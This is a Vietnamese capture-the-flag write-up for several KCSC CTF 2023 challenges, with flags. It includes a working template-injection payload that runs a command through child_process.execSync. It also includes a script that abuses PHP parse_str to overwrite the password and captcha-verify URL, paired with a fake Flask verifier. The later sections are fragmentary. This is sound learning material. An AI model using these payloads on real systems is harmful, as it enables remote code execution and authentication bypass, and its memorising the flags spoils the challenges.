valentine (stolen)
valentine
thì chúng ta cũng có thể áp dụng được cách này một cách khá dễ dàng. Mình đã đọc bài viết ở đây và làm theo cách của bài viết thành công và có được flag.import requests
url = "https://valentine.kcsc.tf"
# cho thêm {{ name }} vì trong code có check xem template nhập vào có chứa chuỗi đó không
tmpl = """<.= global.process.mainModule.require('child_process').execSync('/readflag') .>{{ name }} """
data = {
"tmpl": tmpl,
"name": "5h4s1"
}
res = requests.post(url + "/template" , data=data, allow_redirects=False)
redirect = res.headers['location']
res = requests.get(url + redirect + "&delimiter=.")
print(res.text)
KCSC{https://www.youtube.com/watch?v=A5OLaBlQP9I}
Bypass Captcha
Sau khi đọc 1 phần code thì ta sẽ hiểu về luồng cơ bản như sau:
Sau khi nhập password và submit -> server thực hiện check response captcha chúng ta truyền lên có đúng hay không, nếu đúng và thời gian xác thực captcha không quá 5 giây so với thời gian hiện tại, nếu qua thì check tiếp password, password đúng nữa sẽ có được flag
Đọc hết 1 lượt code thì nhận ra có dòng parse_str($_SERVER['QUERY_STRING']);
Đây là 1 phần rất lạ của bài này vì theo luồng check pass và captcha có liên quan gì đến QUERY_STRING
đâu.
Tiếp tục focus vào đây và thấy rằng func parse_str
nó sẽ được sử dụng để phân tích và trích xuất các tham số và giá trị tương ứng từ query string này và gán chúng vào các biến tương ứng trong phạm vi hiện tại.
Ví dụ cụ thể như:
nếu URL có query string là name=John&age=30, thì khi sử dụng parse_str($_SERVER['QUERY_STRING']);, hai biến $name và $age sẽ được tạo ra và có giá trị tương ứng là "John" và 30.
Rồi đã biết lỗ hổng ở đây rồi. Có nghĩa là chúng ta sẽ thực hiện việc hàm parse_str extract query string ra thành các biến khác nhau (nếu các biến tồn tại nó sẽ thực hiện replace). Từ đó ta có ý tưởng là repace biến $passwd và truyền các giá trị theo ta mong muốn vào là được.
Nhưng không, nếu ta replace trên web sẽ không được vì captcha đã verify website rồi. Mà thực hiện gửi bằng script thì phải nhập response nhanh hơn 5s từ lúc gen ra response (phải tay to lắm mới send được).
Vì mình tay bé nên mình đã code ra 1 website trả về response success như khi gửi $SITE_VERIFY
nhưng với thời gian thật lâu để có thể qua bước check.
Code file app.py:
from flask import Flask, jsonify
app = Flask(__name__)
@app.route('/', methods=['POST'])
def get_user():
user = {
"success": True,
"challenge_ts": "2024-02-28T15:14:30.096Z",
"hostname": "example.com",
"error-codes": [],
"action": "login",
"cdata": "sessionid-123456789"
}
return jsonify(user)
if __name__ == '__main__':
app.run()
Ok deloy con web này và cho nó public ra (mọi người có thể sử dụng ngrok, ở đây thằng bạn mình có VPS nên deloy lên đó luôn)
Như mình đã nói thì mình phải viết script để send payload lên vì nếu gửi trên web sẽ bị lỗi ngay.
file script.py:
import requests
url = "https://bypass-captcha.kcsc.tf/?PASSWD=1&SITE_VERIFY=10.10.10.10"
data = {
"passwd":"1",
"response":"5h4s1"
}
res = requests.post(url, data=data)
print(res.text)
Git Gud
ls -la
thấy có folder .git
. Ngonnnnnn có vẻ bài này tìm thông tin trên folder git này rồi.git log
xem có thay đổi gì khôngrac.jpg
.Discord check
KCSC{KCSC_CTF_D1sc0rd_ch3cK3r}
KCSC-CTF-2023
CTF